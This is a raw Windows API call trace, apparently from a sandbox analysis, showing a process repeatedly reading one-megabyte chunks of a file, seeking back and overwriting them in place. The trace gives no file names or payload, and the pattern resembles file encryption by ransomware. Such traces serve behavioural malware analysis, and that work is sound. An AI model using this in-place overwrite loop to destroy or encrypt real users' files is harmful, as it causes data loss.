	[0097.142] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.143] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.147] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.154] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.166] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.176] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.179] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.179] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.181] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.184] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.189] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.193] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.205] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.208] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.208] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.209] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.212] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.231] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.238] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.251] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.254] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.254] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.256] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.261] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.267] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.273] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.286] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.290] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.290] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.292] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.296] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.336] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.342] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.355] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.359] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.359] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.361] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.365] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.372] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.378] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.391] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.395] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.395] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.397] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.401] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.420] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.426] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.436] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.439] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.439] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.440] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.443] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.450] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.456] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.470] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.473] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.473] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.476] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.480] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.500] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.514] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.527] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.531] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.531] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.533] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.537] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.544] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.550] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.563] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.567] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.567] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.569] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.574] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.584] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.598] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.609] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.612] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.612] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.613] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.616] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.621] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.627] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.640] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.644] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.644] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.646] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.650] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.670] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.676] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.790] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.794] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.794] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.796] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.801] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.808] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.818] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.831] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.835] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.835] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.837] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.841] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.855] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.870] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.883] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.891] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.891] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.893] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.897] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.903] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.908] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0097.918] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.921] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.921] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0097.923] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0097.925] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0097.984] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0097.990] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.003] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.007] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.007] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.010] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.013] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.021] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.027] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.040] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.044] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.044] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.046] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.049] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.058] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.072] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.082] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.085] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.085] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.088] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.091] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.096] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.101] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.111] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.113] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.113] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.115] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.118] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.139] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.145] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.159] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.164] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.164] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.167] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.170] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.177] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.183] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.198] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.201] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.201] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.203] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.207] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.228] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0098.234] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0098.247] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.251] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.251] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0098.253] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.257] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0098.264] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
